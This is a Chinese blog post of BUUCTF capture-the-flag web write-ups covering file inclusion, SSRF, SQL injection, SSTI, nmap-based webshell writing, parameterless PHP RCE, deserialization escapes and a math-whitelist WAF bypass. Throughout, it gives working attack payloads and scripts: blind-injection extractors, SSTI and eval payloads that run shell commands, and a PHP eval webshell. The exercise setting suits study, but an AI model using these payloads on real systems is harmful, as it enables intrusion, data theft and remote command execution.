BUUCTF WriteUp | iluem'Blog

BUUCTF WriteUp

发布 : 2020-09-13 分类 : Web 浏览 :

记录一下从今天开始的刷题记录,主要是遇到的不懂不会的知识点。

文件包含

[HCTF 2018]WarmUp

题目很简单,直接通过给的白名单绕过即可,网上题解很多,简单记录一下。

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

payload:?file=source.php?/../../../../ffffllllaaaagggg

这里发现了一个php解析的点,错误的目录也可以在目录穿越的过程中使用,相当于如下目录

/var/www/html/source.php?/因此后边需要穿越四次。


[RoarCTF 2019]Easy Java

其实是很简单一道文件包含的题目,但是由于对Java-Web还是有些不熟悉所以记录一下。

主页面有一个help,点开之后链接包含了这个文件

http://e03beb09-975a-40f9-9144-4e774c692129.node3.buuoj.cn/Download?filename=help.docx

但是回显却是java.io.FileNotFoundException:{help.docx}不是很明白出题人为什么要搞这一点,只提供了POST请求的下载

image-20200812192033420

下载help.docx后发现

image-20200812192555929

自然要去别的地方找,关键点在这,记录一下

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

下载WEB-INF/web.xml后得到FlagController源文件路径再下载打开后即得到flag。

文件读取

[SUCTF 2019]Pythonginx

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

nginx相关文件默认位置

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
  • 非预期1(只要是利用代码里的问题,前两个检查为host=空,但是后边处理的时候把空格删掉了)
?url=file:////suctf.cc/usr/fffffflag
  • 非预期2

    脚本

    from urllib.parse import urlparse,urlunsplit,urlsplit
    from urllib import parse
    def get_unicode():
        for x in range(65536):
            uni=chr(x)
            url="http://suctf.c{}".format(uni)
            try:
                if getUrl(url):
                    print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
            except:
                pass
    
    

def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == ‘suctf.cc’:
return False
parts = list(urlsplit(url))
host = parts[1]
if host == ‘suctf.cc’:
return False
newhost = []
for h in host.split(‘.’):
newhost.append(h.encode(‘idna’).decode(‘utf-8’))
parts[1] = ‘.’.join(newhost)
finalUrl = urlunsplit(parts).split(‘ ‘)[0]
host = parse.urlparse(finalUrl).hostname
if host == ‘suctf.cc’:
return True
else:
return False

if name==”main“:
get_unicode()


  类似的解有

file://suctf.cc/usr/fffffflag
file://suctf.cℭ/usr/fffffflag




* 预期解

file://1.1.1.1@suctf.c℆sr/fffffflag
file://suctf.c℆sr%2ffffffflag @111


[参考]: https://www.cnblogs.com/wangtanzhi/p/12181032.html



## SQL注入

### Day2 Web1]Hack World

过滤了很多东西,如`空格、/**/、and、or、||、&&、ord`等

但是直接告诉了flag在flag中

通过这个[参考链接](https://www.anquanke.com/post/id/205376#h3-19)可知

![image-20200810171636080](https://i.loli.net/2020/08/10/fBc4qxLsvXhY2un.png)

可以通过`1^1=0,1^0=1`的方法实现bool注入,最终脚本如下

```python
import requests
import time
import os
url = 'http://d6c542d7-50d8-473e-b494-1ca2bfc8c09c.node3.buuoj.cn/'
dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-@'
flag = ''
glzjin="Hello, L1dng wants a girlfriend."
for i in xrange(1,50):
    if '}' in flag :
        os._exit(0)
    for x in dic: 
        data = {'id' : '1^(if((ascii(substr((select(flag)from(flag)),'+str(i)+',1))='+str(ord(x))+'),0,1))'}
        res = requests.post(url,data)
        time.sleep(0.1)
        if glzjin  in res.text:    
            flag+=x
            print flag
             break
#flag{71124b3a-223d-45b6-aec9-86870894cfa5}
#开始由于dic里没有加 '-' 一直错的/(ㄒoㄒ)/~~

[GYCTF2020]Blacklist

一打开怎么感觉做过,没错,和强网杯随便注几乎一样,但是随便住通过set拼接了select语句,然后用prepare预编译。大概如此。但是都被过滤了,因此只能找别方法了。

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

先试了一下报错得到了数据库名supersqli但是好像不能继续了,尝试随便注的堆叠,试了一下show databases; show tables; 然后发现flag应该在FlagHere表里了。继续查一下列,但是我就不知道接下来怎么做了

image-20200814124803828

最后找到了一个只在MySQL中存在的语句handler

参考官方文档

?inject=0'; handler FlagHere open;handler FlagHere read first;-- 1

[BJDCTF 2nd]简单注入

fuzz一下,大概过滤了

handler
like
union
rand
mid
select
-
&
;
and
=
'
"

过滤了',这是没想到的,只能试一下扫目录了

dirsearch扫目录

python3 dirsearch.py -e php,txt,zip -u http://1ee762b0-b791-4d58-be29-4aea7ed447d8.node3.buuoj.cn/ -s 1
http://113.31.144.102:24057/
python3 dirsearch.py -e php,txt,zip -u http://116.85.37.131/574da2df50d5d7ea64621e38a8bd6ad4/

扫到了robots.txt,访问提示有hint.txt,访问给了sql语句。

image-20200903231632385

这里用/转义',然后bool注入即可

这里直接抄一个二分法脚本

import requests
import time
url = "http://11d3613c-126a-4be9-8b7d-66d26a536094.node3.buuoj.cn/index.php"
#select * from users where username='$_POST["username"]' and password='$_POST["password"]';
data = {"username":"\\","password":""}
result = ""
i = 0

while( True ):
    i = i + 1 
    head=32
    tail=127

    while( head < tail ):
        mid = (head + tail) >> 1

        #payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
        payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)

        data['password'] = payload
        time.sleep(0.1)
        r = requests.post(url,data=data)

        if "stronger" in r.text :
            head = mid + 1
        else:
            tail = mid

    last = result

    if head!=32:
        result += chr(head)
    else:
        break
    print(result)

也可以使用平常的bool脚本,综合比较一下还是二分法效果好一点。

import requests
import time

url ="http://11d3613c-126a-4be9-8b7d-66d26a536094.node3.buuoj.cn/"
password =""
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!_@-']
#print (string)
a = '0x5e'

while(1):
    for j in string:
        str = hex(j).replace('0x', '')
        # 查用户名
        #username = "or username regexp binary %s #" % (a + str)
        #print(username)
        #data = {"username": "\\", "password": username}
        # 查密码
        payload = "or password regexp  %s #" % (a + str) 
        #print(payload)
        data={"username" :"\\","password" : payload }
        time.sleep(0.1)
        r = requests.post(url,data=data)
        #print(r.text)
        if "stronger" in r.text:
            password +=chr(j)
            print(password)
            a+=str
            break
    if "P3rh4ps" in r.text:
        break

print(password)

得到账号和密码后登陆即可拿到flag。

SSTI

[BJDCTF 2nd]fake google

原谅菜鸡的我第一次做这类题目,之前有见到过但是没敢去做,以后没什么敢不敢了,就是肝💪。

参考大师傅们的介绍,而且因为这个题目没有任何过滤的样子,最终自己找到了一个payload

image-20200812152758837

{{().__class__.__bases__[0].__subclasses__()[168].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")}}

{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat /flag').read()")}}

#hackbar
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag||sleep 3').read() }}

之后再慢慢消化这类知识

Python脚本

[强网杯 2019]高明的黑客

算是一道写脚本的题目吧。源码给了3001个php

文件,但是能用的webshell应该只有一个参数。参考加修改后的最终脚本如下

import os
import re
import requests
import threading

filePath = 'D://phpstudy_pro//WWW//src'
files = os.listdir(filePath)
url = "http://localhost/src/"
aaa = 0
def get_rep(filename, name):
    if(aaa==1):
        global aaa
        os._exit()
    r_url = url + filename +  "?" + name + "=echo flag;"
    rep = requests.get(r_url)
    print(r_url)
    if 'flag' in rep.content.decode('utf-8'):
        print("Got It!   !!!!!!! " + filename + " The param is: _GET[" + name +"]")
        aaa+=1
        os._exit()

def post_rep(filename, name):
    if(aaa==1):
        global aaa
        os._exit()
    r_url = url + filename
    param = {
        name: "echo flag;"
    }
    rep = requests.post(r_url, data=param)
    print(r_url + " POST: " + name)
    if 'flag' in rep.content.decode('utf-8'):
        print("Got It!   !!!!!!! " + filename + " The param is: _POST[" + name +"]")
        aaa+=1
        os._exit()

def runing(a,b):
    a=int(a)
    b=int(b)
    for j in xrange(a,b):
        print(str(1.0-(b-j)/120.0)+"%")
        k = files[j]
        if k == '.DS_Store':
            continue
        if k == 'index.html':
            continue
        with open('./src/' + k, 'rt') as f:
            content = f.read()
            get = re.findall(r"GET\['(.+?)'\]", content)
            post = re.findall(r"POST\['(.+?)'\]", content)
            for i in get:
                get_rep(k, i)
            for i in post:
                post_rep(k, i)
            f.close()

class myThread (threading.Thread):
    def __init__(self, threadID, name, counter):
        threading.Thread.__init__(self)
        self.threadID = threadID
        self.name = name
        self.counter = counter
    def run(self):               
        runing(self.name,self.counter)
#0~3000 
for i in range(0,24):
    thread = myThread(i,i*120+1,(i+1)*120)
    print i*120+1 
    thread.start()

学习一下利用多线程和正则读文件,但是25线程也跑了半小时

RCE(remote code execution)

[BUUCTF 2018]Online Tool

题目源码如下

<?php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ?> -oG 1.php 1'

这样则相当于可以通过该命令已有的参数执行一些命令,甚至getshell。

找了一下类似的命令还有curl、sendmail、weget等,参考链接如下:

此题目找到了nmap里输出到指定文件的参数有

  • 标准输出-oN <filespec>
  • XML格式输出-oX <filespec>
  • 脚本小子输出-oS <filespec>
  • Grep 输出-oG <filespec>
  • 输出至所有格式 -oA <basename>

在本地尝试了-oN 、-oG都可以,本地版本是7.+,但是题目的php版本为5.+,-oN的报错会直接显示,因此使用-oG就可以了,大概区别就是-oG不会把报错信息输出到文件,-oN会输出进去。最终payload为

?host=' <?php eval($_REQUEST[1]);?> -oG 1.php 1

[GXYCTF2019]禁止套娃(无参数RCE)

说在前面,我是真的好气啊,这道题什么都没有,肯定只有源码泄露了,然后也确实扫到.git了,但是Windows下的GitHack不知道哪根筋出问题了。去搜题解别人却可以。离谱,然后在kali上又行,/(ㄒoㄒ)/~~。image-20200814195128803

image-20200814195407716

说正事,下边就开始审计源码了,但是问题又来了。第一个正则匹配挺好理解,过滤了一些伪协议,但第二个是什么意思啊,我在本地试了好久都匹配不成功,去搜也没搜到这种表达式(可能我太菜了吧),去搜题解才看明白

(?R)?中的(?R)是引用当前表达式,后边的?是递归调用

这样子就可以匹配如abc()abc(cba())但是a('a')之类的括号当中带参数的则不能匹配。参考飘零学长的文章,以及奇奇师傅的wp

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
?>

由于过滤太多几乎不可能getshell,那么如何利用@eval($_GET['exp']);读到flag呢,比如构造出类似于show_source('flag.php')的函数。

首先scandir()可以扫描目录,但是需要加参数,至少是这样子

scandir('.')即当前目录。

image-20200814205404526

如何得到'.'呢,参考大佬们的思路主要有四个方法,

1、chr(46)

这个又可通过至少三种方法获得

chr(rand())
chr(time())
chr(current(localtime()))

因为chr()函数以256为一个周期,即chr(0) chr(256) chr(512)以此类推 他们都是相等。

time()却很大的一个数,因此每256一个周期才能拿到46,而localtime返回数组的Array[0]就是当前时间的秒级值,0~59,因此更容易拿到46

image-20200815102757348

参考W3School

  • current() - 返回数组中的当前元素的值
  • pos() - 返回数组中的当前元素的值,是current()的别名。
  • end() - 将内部指针指向数组中的最后一个元素,并输出
  • next() - 将内部指针指向数组中的下一个元素,并输出
  • prev() - 将内部指针指向数组中的上一个元素,并输出
  • reset() - 将内部指针指向数组中的第一个元素,并输出
  • each() - 返回当前元素的键名和键值,并将内部指针向前移动

2、pos(localeconv())

其中localeconv()的作用如下

image-20200815103203672

因此这样就能得到.了。但是过滤了et所以只能用前两种

php > var_dump(pos(localeconv()));
string(1) "."
php > var_dump(current(localeconv()));
string(1) "."
php > var_dump(reset(localeconv()));
PHP Notice:  Only variables should be passed by reference in php shell code on line 1
string(1) "."

当然其他几个函数也可以组合使用如var_dump(next(each(localeconv())));

3、phpversion()

4、crypt()

上边两种复杂一点就没去细看了。

然后扫描目录发现flag.php的位置在倒数第二个

image-20200815104807030

要怎么读到呢,主要的还有三个办法,

1、array_reverse()

废话不多说,看函数名字就知道什么意思了,直接读flag,用于读文件的可以用的还有highlight_file()show_source()readfile()。不过记得readfile()要打开源码才能看到,其他两个是高亮显示。

var_dump(show_source(next(array_reverse(scandir(next(each(localeconv())))))));

2、array_rand(array_flip())

array_flip()函数用于反转/交换数组中所有的键名以及它们关联的键值。

array_rand() 函数返回数组中的随机键名

这两个连用,就可以返回数组中随机键值,因为数组中只有5个值,多试几次即可。

var_dump(show_source(array_rand(array_flip(scandir(next(each(localeconv())))))));

3、session_id(session_start())

飘零学长的文章提到了,可以这样子添加session然后读取

image-20200815112840532

虽然不能getshell,但是读文件就行了,那就来试试吧,一步到位,舒畅哈哈。

image-20200815113330100

反序列化

[网鼎杯 2020 青龙组]AreUSerialize

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

记录一下这个题的三个点,由于类中的三个变量是protected的,所以序列化的时候会出现不可见字符,但是由于php>7.1的版本对类属性的检测不严格(对属性类型不敏感),因此可以直接构造(此题目版本就>7.1),另一个点就是源代码中反序列化进入到__destruct()中的比较是强类型比较,但process()中是弱类型比较,因此可以用弱类型绕过。

php > var_dump(2==='2');
bool(false)

image-20200813194456848

但是由于某种原因,index.php可以直接读出来,但是flag.php不能直接读,使用filter伪协议后就可以了,但是在本地的windows又出现问题了,前边两种情况都不行,添加绝对路径才能读出来,总之伪协议+绝对路径一定能读出来。

绝对路径可能在/proc/self/cmdline中找到。

因此一个可行的payload如下:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}

同时根据p神的解释

img

?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}

这样也可。

[0CTF 2016]piapiapia

这道题在我看来简直精妙,因为自己太菜想不出哪儿可以利用,看完wp后才恍然大悟,因此好好写一写这个思路。

打开是一个登录界面,本来还以为是一个sql注入,但是试了老半天发现回显除了 Invild就是Invild。也没什么别的提示,一般来说应该就有源码泄露了,试了一下www.zip果然有源码,

代码逻辑大概就是通过SESSION判断是否登录,然后通过登录名进行上传操作。然后有一个用户注册页面,

image-20200815160724332

看了一下代码,大概能利用的点就在profile.php的这个文件包含这里。而profile这个数组里的值是从update.php里序列化的。

image-20200815160850654

update.php里的内容,就把输入的信息按数组的方式序列化,然后可以在profile.php读到相关内容以及你上传的图片。

image-20200815161544484

正常来说序列化以及反序列化的过程是这样的

image-20200815162348255

但是如果能控制序列化的内容,大概类似这样,那么即可进行文件读取了(顺便提一下本题的flag在config.php里)

$a="a:4:{s:5:\"phone\";s:9:\"123456789\";s:5:\"email\";s:16:\"123456789@qq.com\";s:8:\"nickname\";s:5:\"iluem\";s:5:\"photo\";s:10:\"config.php\";}s:39:\"upload/f3ccdd27d2000e3f9255a7e3e2c48800\";}";

那么结果就会

image-20200815162634486

很显然我们对photo里的值似乎不能达到这样效果,但nickname和photo是紧挨着的两个键名,因此可以尝试对nickname进行操作,但是看到这里发现有好几个过滤,首先是update.php里的过滤

#update.php
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
            ·······
$user->update_profile($username, serialize($profile));

同时在进行进行user类操作的时候也有过滤

#class.php    
public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
#parent
public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

前者的过滤可以通过数组username[]=的形式绕过,后者这个过滤呢,其实也正是我们能够利用的点,因为反序列化的时候会根据键值的长度进行匹配,

a:4:{s:5:"phone";s:9:"123456789";s:5:"email";s:16:"123456789@qq.com";s:8:"nickname";a:1:{i:0;s:5:"iluem";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

大概是 phone 前边的 5 代表phone的长度这个意思。

我们想要达到的效果就是将s后边的字符长度改成我们想要的长度达到提前闭合反序列化的字符串的目的,

我们在nickname后边要添加的字符串大概是这些

iluem";}s:5:"photo";s:10:"config.php";}

但是这会让nickname的长度增加34

如果没有边这个将匹配到的字符替换为hacker,似乎真的没什么别的好方法。

用于过滤的字符只有wherehacker长度不同,又因序列化的操作在过滤之前。如果username中有where被替换成hacker,那么反序列化时的匹配username时就会提前结束1字符,要是我们加上34个where让它提前34个字符结束,那么匹配到的就是

iluem后边我们对photo进行的操作就逃逸出来了。因此我们可以构造

username[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

然后传上去就可以在profile页面拿到config.phpbase64encode了。

[安洵杯 2019]easy_serialize_php

源码如下

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

和上题几乎一致,同样是反序列化字符逃逸,最近有做过好几道这样的题目,但是还是记录一下

最终GET传递?f=show_image

POST传递

_SESSION[user]=fl1gfl1gfl1gfl1gfl1g&_SESSION[a]=aaa";s:3:"img";s:80:"cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT0vZDBnM19mbGxsbGxsYWc=";s:3:"aaa";s:1:"a";}

WAF Bypass

[CISCN 2019 初赛]Love Math

源码如下

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这道题限制了长度80,而且只能使用白名单里的函数。

自己尝试了一种方式,直接进行命令执行,构造出exec('cat /*'),刚好79字符。

?c=$pi=base_convert(47138,20,36)($pi(76478043844,9,34)(dechex(109270211243818)))
#base_convert(47138,20,36)=>exec
#base_convert(76478043844,9,34)=>hex2bin
#dechex(109270211243818)=636174202f2a=>asciihex('cat /*')

然后学习一下其他姿势

1、构造出$_GET[1]这样形式

执行原理如下

php > $b='exec';
php > $c='whoami';
php > echo $b($c);
root

因为下划线和字母都会被preg_match_all匹配,所以需要构造出_GET,过滤了[],但是可以用{}代替。大概需要构造出这样子$_GET{1}($_GET{2})就可以执行命令了。

经过上边的尝试,很容易构造出

php > var_dump(base_convert(76478043844,9,34)(dechex(1598506324)));
string(4) "_GET"

因此可以构造出如下

?c=$pi=base_convert(47138,20,36)(dechex(1598506324)),$$pi{1}($$pi{2})&1=exec&2=cat /*

这样构造就完全不需要担心长度的问题了

不过还有更短的办法,利用白名单里的字符进行构造

这里通过异或的方法得到的最简短的两对
is_nan^64==>_G
tan^15==>ET

同理可构造出

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5)),$$pi{1}($$pi{2})&1=exec&2=cat /*

2、从header传

base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})

这里发现了一个问题,字符串太长的时候,好像进制转换就会出问题,最大字母为s所以至少需要29进制来转。

image-20200828185526103

结果只有30进制满足条件。至于其中原因暂时不明白,大概字符串太长就好像有这个问题。

最终payload:

?c=($pi=base_convert)(696468,10,36)($pi(8768397090111664438,10,30)(){1})
ADD HEADER 1:cat /*
留下足迹